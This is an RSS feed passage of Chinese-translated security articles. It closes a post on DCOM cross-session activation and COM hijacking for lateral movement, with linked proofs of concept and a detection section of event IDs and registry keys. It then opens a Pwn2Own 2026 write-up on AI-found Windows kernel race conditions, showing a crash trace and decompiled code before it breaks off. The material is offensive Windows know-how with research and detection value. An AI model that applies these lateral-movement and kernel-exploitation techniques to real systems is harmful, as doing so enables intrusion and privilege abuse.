0.05);border-radius: 3px;"><span leaf="">INTERACTIVE USER</span></code><span leaf="">身份运行的其他 CLSID，我们还随本博文发布了另一个 PoC，它也可以在常见的 Windows Server 版本上工作：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://github.com/rtecCyberSec/SpeechRuntimeMove" target="_blank">https://github.com/rtecCyberSec/SpeechRuntimeMove</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">每当创建 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">38FE8DFE-B129-452B-A215-119382B89E3D - Speech Named Pipe COM</span></code><span leaf="">的实例时，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SpeechRuntimeBroker.exe</span></code><span leaf="">就会在攻击者定义的活动会话上下文中被派生。由于它同样容易受到 COM 劫持的影响，我们可以将恶意 DLL 加载到此进程中以实现横向移动。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">4. 检测</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">执行任何已发布的 PoC 时可以看到以下事件：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">SMB 登录和共享访问（Security 4624，Type 3 Logon 和 Security 5140 Network Share Access）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">COM 劫持（Security 4663 尝试访问对象，Security 4657 注册表值被修改）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">进程创建（Security 4688 创建了新进程）</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注册表键修改：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">HKCU\SOFTWARE\Classes\CLSID\{896C2B1D-3586-4FA5-B419-41F4A6D38CF1}\InProcServer32（BitLockMove）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">HKCU\SOFTWARE\Classes\CLSID\{655D9BF9-3876-43D0-B6E8-C83C1224154C}\InProcServer32（SpeechRuntimeMove）</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">可疑子进程被派生 + 意外的 DLL 加载事件：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BaaUpdate.exe</span></code></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SpeechRuntimeBroker.exe</span></code></li></ul><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">5. 结论</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">可以通过多种技术在远程系统上以管理员权限执行代码。然而，许多最知名的技术和工具因其 IoC 而在受监控环境中触发告警，因此如果需要避免被检测到，就不应使用它们。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">尽管 DCOM 横向移动技术已得到充分研究，但由于攻击面巨大且可以深入挖掘，新的向量仍定期被发布。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">跨会话激活迄今为止主要用于提权目的。然而，凭借管理员权限，也可以在已登录用户的上下文中在远程系统上执行代码。从攻击者的角度来看，这还有一个优势：我们可以省去注入、模拟或凭据转储的 IoC，因为我们可以直接在目标用户的上下文中执行代码。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">COM 劫持使得这个新的横向移动向量易于发现和滥用，但也可以通过有针对性的规则集得到准确检测。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.r-tec.net/r-tec-blog-revisiting-cross-session-activation-attacks.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d77a3345&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496785%26idx%3D1%26sn%3D4c4800346c26c3af294ce337b2f86bed">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 30 Jul 2026 10:59:00 +0800</pubDate>
    </item>
    <item>
      <title>Pwn2Own 与 Microslop 的交锋</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496739&amp;idx=1&amp;sn=2fcfebfd6d942b9dfe793963cb862fcd</link>
      <description>作者代表 Viettel Cyber Security 参加 Pwn2Own Desktop 2026，详述利用 AI 发现的两个 Windows 内核竞态条件漏洞——CLDFLT 任意写与 DirectX 图形内核信息泄露——的完整利用链构建过程。</description>
      <content:encoded><![CDATA[<p><span>Nguyễn</span> <span>2026-07-29 11:59</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a40ef757&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSj5jjWh3licrI0uVlgFHokxLucJ93ky3QMrMVCicpaPcQVdqVNBCfwr3tam1BdiaII5bZFBsCQV6J4RulgK25yX6qAR8mmHzaVcdo%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>作者代表 Viettel Cyber Security 参加 Pwn2Own Desktop 2026，详述利用 AI 发现的两个 Windows 内核竞态条件漏洞——CLDFLT 任意写与 DirectX 图形内核信息泄露——的完整利用链构建过程。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://dungnm.hashnode.dev/pwn2own-with-microslop" target="_blank">https://dungnm.hashnode.dev/pwn2own-with-microslop</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Nguyễn Mạnh Dũng</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">Pwn2Own Desktop 2026</span></strong><span leaf="">竞赛在柏林举行，我代表 </span><strong><span leaf="">Viettel Cyber Security</span></strong><span leaf="">参赛。尽管已经过去了近三个月，我仍希望分享我们参赛历程中的一些见解，尤其是在 A.I 日益渗透网络安全领域的当下。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 2" class="rich_pages wxw-img" data-imgfileid="100013081" data-type="png" style="max-width: 100%;height: auto !important;" data-ratio="0.7481481481481481" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b47db1e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSjghEdfIm9W63ibhkbyYCTEIBpwWI7RnSJ0LbnQJalxGtt6eIrg2jwfbg98lBpMORZk6lsialHXROK470F8gwoY6zh2S18ibKpviaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">背景</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">顺应当前趋势，我们也开始利用 A.I 来识别 Windows 内核中的漏洞。尽管发现了大量 bug，但我们仅找到两条可利用的漏洞链。其中一条链——耗费了大量时间才稳定并完成利用——在比赛前夕就被修补了。今天，我将主要聚焦于分析漏洞本身，并展示我们的利用方法。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">要完成这条利用链，我们需要两个内存破坏漏洞，且都是竞态条件：一个用于信息泄露，另一个用于任意写。写原语位于 </span><strong><span leaf="">Windows Cloud Files Mini Filter Driver</span></strong><span leaf="">（云文件微过滤驱动）中，而泄露源自 </span><strong><span leaf="">DirectX Graphics Kernel</span></strong><span leaf="">（DirectX 图形内核）。值得注意的是，这两个漏洞均由 AI 发现——全部归功于我的同事：hieuvd。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">任意写</span></h2><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 3" class="rich_pages wxw-img" data-imgfileid="100013079" data-type="png" style="max-width: 100%;height: auto !important;" data-ratio="0.31574074074074077" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=78af71f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShANIiaNdHRDa9UYPMG7bzaprgfianVD2BwYsIYJG8IB8syxv2tTPYibzHwEM7XtC8NXnVdEj82nD98RQrXtaqdxZiciaJOwybvLQLM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于该漏洞在比赛前已被修补，我不确定其具体的 CVE 编号，但它无疑是上图所示竞态条件漏洞中的一种。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">阅读 AI 生成的报告时，我完全看不懂——我被 AI slop（AI 生成的晦涩内容）糊了一脸。为了理解，我只能专注于 AI 生成的 PoC 代码。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="Image 4" class="rich_pages wxw-img" data-imgfileid="100013080" data-type="gif" style="max-width: 100%;height: auto !important;" data-ratio="0.75" data-w="288" src="https://wechat2rss.xlab.app/img-proxy/?k=3401b251&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2Fh4gtbB74nSjFHVRJSnC14yfbhaLiakeUy2aGgUibqcuEeBdOicwXibsEpPOxvGGzGmbev07iaBQWxWyQVKI99Hzib9kfjKY60HrJoBAVJuk4safXg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></span></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，以下是蓝屏死机（BSOD）对应的调用栈。崩溃由 Cancel Request（取消请求）与 Complete Request（完成请求）之间的竞态条件触发。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">2: kd&gt; .cxr 0xffff978f8275ee50 ; kb</span><br/><span leaf="">rax=fffff8020cb7fb70 rbx=4141414141414141 rcx=4141414141414129</span><br/><span leaf="">rdx=ffffaf0f1a013138 rsi=ffffaf0f1a0136a0 rdi=ffffaf0f1a013168</span><br/><span leaf="">rip=fffff8020cb50fda rsp=ffff978f8275f880 rbp=ffffaf0f206aa550</span><br/><span leaf=""> r8=0000000000000000  r9=0000000000000008 r10=0000000000000008</span><br/><span leaf="">r11=fffff8020408c180 r12=0000000000000000 r13=0000000000000000</span><br/><span leaf="">r14=0000000000000001 r15=0000000000000000</span><br/><span leaf="">iopl=0         nv up ei ng nz na po nc</span><br/><span leaf="">cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050282</span><br/><span leaf="">cldflt!CldiStreamPrepareRequestForCdqCompletion+0x6:</span><br/><span leaf="">fffff802`0cb50fda 8a4168          mov     al,byte ptr [rcx+68h] ds:002b:41414141`41414191=??</span><br/><span leaf="">  *** Stack trace for last set context - .thread/.cxr resets it</span><br/><span leaf=""> # RetAddr               : Args to Child                                                           : Call Site</span><br/><span leaf="">00 fffff802`0cb7fb8c     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : cldflt!CldiStreamPrepareRequestForCdqCompletion+0x6</span><br/><span leaf="">01 fffff802`0851a4b4     : ffffaf0f`1771ee40 00000000`00000000 00000000`00000000 00000000`00000000 : cldflt!CldStreamCdqREMOVE_IO+0x1c</span><br/><span leaf="">02 fffff802`76c9d902     : ffffaf0f`1a0136a0 fffff802`76c9d8a0 ffffc300`fea67180 00000000`00000000 : FLTMGR!FltpRemoveIrp+0x14</span><br/><span leaf="">03 fffff802`76c10fce     : ffffaf0f`1a0136a0 ffff978f`8275f900 00000000`00000000 af0f206a`a460ef3b : nt!IopCsqCancelRoutine+0x62</span><br/><span leaf="">04 fffff802`76c10d71     : ffffaf0f`206aa548 00000000`00000000 ffffaf0f`206aa490 00000000`00000000 : nt!IoCancelIrp+0xae</span><br/><span leaf="">05 fffff802`7722e1ee     : 00000000`00000001 ffffaf0f`1ca570c0 0000026e`2811ba20 0000026e`2811ba20 : nt!IopCancelIrpsInFileObjectList+0x1e1</span><br/><span leaf="">06 fffff802`7722e15f     : 0000026e`2811ba20 000000ad`fe3ffe70 ffff978f`8275fb20 ffffaf0f`206aa490 : nt!IopCancelIoFile+0x52</span><br/><span leaf="">07 fffff802`76ebd955     : ffffaf0f`1c3cb0c0 00000000`00000172 ffffaf0f`1c3cb0c0 000000ad`fdb90000 : nt!NtCancelIoFileEx+0x6f</span><br/><span leaf="">08 00007ffc`cc902d74     : 00007ff6`202f1e63 00000000`00000000 00000000`00000000 ffffffff`ffffd8f0 : nt!KiSystemServiceCopyEnd+0x25</span><br/><span leaf="">09 00007ff6`202f1e63     : 00000000`00000000 00000000`00000000 ffffffff`ffffd8f0 00000000`00000000 : ntdll!NtCancelIoFileEx+0x14</span><br/><span leaf="">0a 00007ffc`cb47e8d7     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : CRASH!CancelRequestCldflt+0xd3</span><br/><span leaf="">0b 00007ffc`cc82c3fc     : 00000000`00000000 00000000`00000000 000004f0`fffffb30 000004d0`fffffb30 : KERNEL32!BaseThreadInitThunk+0x17</span><br/><span leaf="">0c 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2c</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">发生崩溃的函数是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></code><span leaf="">。其 Request 参数指针已由我的代码控制。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> __fastcall </span><span style="color: rgb(111, 66, 193);"><span leaf="">CldiStreamPrepareRequestForCdqCompletion</span></span><span leaf="">(CLDI_STREAM_REQUEST *Request)</span><br/><span leaf="">{</span><br/><span leaf="">  result = Request-&gt;IsPreparedForMoreProcessing;  </span><span style="color: rgb(106, 115, 125);"><span leaf="">// ==&gt; BSOD 